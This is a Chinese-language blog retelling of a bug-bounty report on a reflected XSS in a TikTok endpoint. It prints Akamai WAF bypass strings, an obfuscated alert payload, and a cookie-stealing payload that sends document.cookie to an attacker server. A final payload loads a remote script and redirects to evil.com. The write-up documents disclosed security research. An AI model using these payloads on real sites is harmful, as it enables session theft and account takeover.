文末有彩蛋。
前言
一个普通的夜晚,国外白帽小哥的朋友邀请其共同玩耍游戏,出于某种原因,白帽小哥拒绝了与朋友共度游戏的时光,却意外的赚取了 3k 美金。让我们开始吧~
前期侦察
白帽小哥使用 urlscan.io 扫描了 TikTok 域名相关的端点,经过一番挖掘,最终获得了一个庞大的列表——大约有 1万个 URL。
接下来是漫长的手动浏览,无意中在一个看似活动分享功能的路径下发现了一处端点,该 URL 附加了多个参数——这成功引起了白帽小哥的好奇心。
小哥开始尝试 region 参数,为了测试反射,小哥首先输入了一个无害的Payload:
?region=id'"><u>testest</u>
居然没有被任何过滤和编码。
遭遇WAF
使用经典的 Payload 进行测试:
"><img src=x onerror=alert(document.domain)>
直接被 Akamai 阻拦——TikTok 的御用 WAF。
尝试绕过
小哥开始研究 Akamai WAF 绕过技术,期间发现了一些很不错的文章,讨论了字符串混淆、大小写敏感性和标签规避等。
一些常见的尝试包括:
</ScRiPt> → 拦截
</SCRIPT> → 拦截
</ScRpt> → 未拦截,但不可用
</Script+xxx> → 短暂绕过,但最终再次被过滤
Payload 进化
经过多次失败尝试,白帽小哥想到一个看起来奇怪但有效的绕过字符串:
}<x>xxx<!--><!>+>+></Script+xxx></script%20x></x><x>xxx<!--><!>+>+>
成功绕过过滤——但 alert()、confirm() 和 prompt() 在运行时依然会被阻止。
为了谨慎起见,小哥首先提交了漏洞,并使用一个开放重定向来避免潜在的重复提交。
两天后,收到了 HackerOne 的回复(大致意思是:很高兴收到你的漏洞报告,但开放重定向不在漏洞范围内,你可以尝试提升为 XSS,窃取 Cookie 等漏洞):
制作真正的 XSS
由于直接 alert() 被拦截,小哥开始尝试使用混淆访问方式将其分解:
window/*xxx*/ ;
完整 Payload:
<x>xxx<!--><!>+>+></Script+xxx><script%20x>window/*xxx*/['al'%2b'ert'](1);//</script%20x></x><x>xxx<!--><!>+>+>
成功!小哥迅速更新了 PoC 并再次提交漏洞报告,获得漏洞回复(大致意思是:只是一个 alert 弹窗的话,只能算低危漏洞,可尝试改进 PoC 来提升漏洞等级):
小哥最终使用了下面的 Payload 实现了 Cookie 窃取:
window/*xxx*/['loca' + 'tion'] = 'http://<your-server>?cookie=' + document/*xxx*/['coo' + 'kie'];
完整的 Payload 如下:
}<x>xxx<!--><!>+>+></Script+xxx><Script+xxx>Object.prototype.BOOMR = 1;
Object.prototype.url = 'https://portswigger-labs.net/xss/xss.js';
location.replace('https://evil.com');</script%20x></x><x>xxx<!--><!>+>+>
有效 XSS 被确认,一天之后——$1,000 赏金奖励到账。
成功之后,小哥继续在同一路径中发掘了更多端点,最终发现了两个具有相同漏洞的端点,共计获得 3000 美元赏金奖励。
原文下方的评论区中有一条评论很有意思:
希望本文对你有所启发~